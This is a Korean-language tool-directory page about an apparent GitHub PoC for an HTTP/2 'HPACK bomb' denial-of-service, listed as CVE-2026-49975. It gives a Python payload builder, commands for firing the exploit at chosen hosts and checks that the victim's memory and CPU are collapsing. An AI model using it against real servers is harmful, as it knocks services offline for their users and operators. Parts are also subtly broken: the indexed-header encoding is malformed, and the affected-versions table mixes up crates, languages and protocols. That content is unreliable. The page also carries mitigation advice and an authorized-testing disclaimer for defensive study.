Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-49975-http2bomb_reproduction — CVE-2026-49975 HTTP/2 Bomb DoS 취약점에 대한 PoC 익스플로잇. HPACK 인덱스 참조 폭탄과 흐름 제어 윈도우 스톨을 결합하여 단일 연결을 통해 서버 메모리를 고갈시키는 방식을 보여줍니다. | Kitploit
도구/GitHubGitHub/razureink/cve-2026-49975-http2bomb_reproduction
Vulnerability AnalysisExploitationWeb SecurityNetwork SecurityPapers & ResearchLearning & Education
GitHubrazureink/cve-2026-49975-http2bomb_reproduction

cve-2026-49975-http2bomb_reproduction

CVE-2026-49975 HTTP/2 Bomb DoS 취약점에 대한 PoC 익스플로잇. HPACK 인덱스 참조 폭탄과 흐름 제어 윈도우 스톨을 결합하여 단일 연결을 통해 서버 메모리를 고갈시키는 방식을 보여줍니다.

저장소 보기
11353개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-49975 (HTTP/2 Bomb) 완전 재현 가이드

QiAnXin CERT 권고 + Calif 독자 연구 기반

================================================================

I. 취약점 개요

CVE-2026-49975는 HTTP/2 서버 및 프록시 구현에서 발생하는 심각한 서비스 거부(DoS) 취약점입니다. "HTTP/2 Bomb" 또는 "HPACK Bomb"라고 불리는 이 공격은 HTTP/2 프로토콜의 두 가지 설계 수준 동작을 악용하여 대상을 무제한 메모리 소비(OOM)와 CPU 고갈 상태로 몰아넣습니다:

  1. HPACK 인덱스 참조 폭증 – HPACK 인덱스 참조를 통해 동일한 쿠키 항목을 논리적으로 수천 번 참조하는 작은 HEADERS 프레임입니다. 디코딩 시, 상대방의 HPACK 디코더는 전송 크기가 아닌 참조 횟수에 비례하여 메모리를 할당할 수 있습니다.
  2. 흐름 제어 윈도우 정체 – 초기 윈도우가 0인 상태와 결합되어, 송신자는 HEADERS 데이터를 큐에 쌓지만 수신자는 윈도우 업데이트가 도착할 때까지 읽기를 거부합니다. 버퍼가 채워지고 메모리 압박이 증가합니다.

CVSS 3.1 기본 점수: 9.8 (심각)
벡터: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

II. 공격 원리 (2단계 조합)

이 공격은 두 단계가 서로 보완할 때 가장 효과적이지만, 일부 구현에서는 각 단계만으로도 충분합니다.

1단계: HPACK 인덱스 참조 폭탄

HTTP/2의 HPACK 헤더 압축은 진화하는 동적 테이블을 사용합니다. 큰 쿠키 헤더가 테이블에 삽입되면(Literal+Incremental Encoding을 통해), 공격자는 1바이트 opcode로 해당 항목을 참조할 수 있습니다. 반복된 참조는 디코더가 동일한 헤더를 계속해서 재구성하도록 만듭니다.

Wire:  [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
    ↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.

5KB 패킷이 수백 메가바이트의 디코딩된 페이로드로 확장될 수 있다.

2단계: HTTP/2 윈도우 스톨링

INITIAL_WINDOW_SIZE=0인 SETTINGS는 피해자가 모든 HEADERS/연속 데이터를 큐에 쌓도록 강제한다. 공격자는 WINDOW_UPDATE 프레임을 천천히 흘려보낸다. 버퍼는 조합적으로 가득 찬 상태로 유지된다.

메커니즘증폭 계수
원시 HEADERS 본문1x
HPACK 참조 폭증20–80x
+ 동시 스트림100–500x
+ 윈도우 스톨링1000x+

III. 영향을 받는 서버

벤더 / 프로젝트버전설명
Apache mod_http2< 2.0.13인덱스 참조 폭증 시 OOM
nghttp2< 1.62.0무제한 메모리 팽창
h2o< 4.0.2디코더의 무한 루프
Node.js http2 crate< 1.12.0nghttp2-rs의 내재적 확장
Go net/http (h2)< 1.24고루틴 행 + OSL 할당
Apache Traffic Server< 9.3.0내부 버퍼를 통한 OOM
HAProxy h2< 2.9과대 AVP에서 충돌
Envoy< 1.30흐름 제어에서 대규모 할당
Rust hyper/h2 crate< 5.14오버플로 SK에서 패닉

정확한 범위는 벤더의 CVE 항목을 참조하라.

IV. 환경 설정

# Python 3.8+ with ssl support
python --version

# SSL Certificate optional; PoC sets CERT_NONE

Docker 빠른 피해자:

docker run -d --name h2-victim -p 4433:443 \
    nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null

V. 익스플로잇 코드

동반 스크립트는 exploit.py입니다.

핵심 루틴:

def build_hpack_bomb(num_headers: int = 20000) -> bytes:
    cookie_name = b"cookie"
    cookie_value = "a=" + "y" * 128
    data = bytearray()
    # Step 1: insert cookie into dynamic table
    data.append(0x40)  # Literal+incremental
    data.extend(encode_hpack_int(len(cookie_name), 7))
    data.extend(cookie_name)
    data.extend(encode_hpack_int(len(cookie_value), 7))
    data.extend(cookie_value.encode())
    # Step 2: spam Indexed refs (index 63)
    for _ in range(num_headers):
        data.append(0x80)
        data.extend(encode_hpack_int(63, 7))
    return bytes(data)

스크립트는 다음을 수행합니다:

  • host:port로의 TLS 연결
  • HTTP/2 PRI preface + window=0인 SETTINGS
  • HPACK bomb을 HEADERS로 전송
  • 선택적으로 느린 WINDOW_UPDATE trickle 전송
  • PING 프레임을 통한 RTT 저하 측정

VI. 사용법

# Basic run (default 10000 refs)
python exploit.py 192.168.1.100

# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000

# Disable window stall
python exploit.py endpoint.com --no-stall

# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60

# Verbose
python exploit.py 10.0.0.5 -v

VII. 공격 효과 검증

피해자 리소스 모니터링:

watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>

공격이 성공하고 있다는 징후:

  • victim RSS가 500 MB 이상으로 증가
  • CPU가 100%로 급증
  • PING 지연 시간이 1초를 초과
  • 연결 시간 초과

VIII. 완화

접근 방식설정
스트림당 헤더 제한MaxHeaderCount 500
낮은 압축 거부비율 임계값 < 5
HPACK 증가 제한동적 테이블을 1 KB로 제한
연결당 메모리N MB 초과 시 거부
속도 제한일반 conn/s, req/s

IX. 면책 조항

이 정보는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하고 있거나 서면 테스트 허가를 받은 시스템에만 실행하십시오.

참고 자료

  • CVE-2026-49975 Mitre
  • QiAnXin CERT 권고 (원본 중국어 / 영어 게시판)
  • Calif, A. The HTTP/2 Bomb: HPAK indexed OOM. Black Hat 2025
  • RFC 7541, RFC 9113
도구 다운로드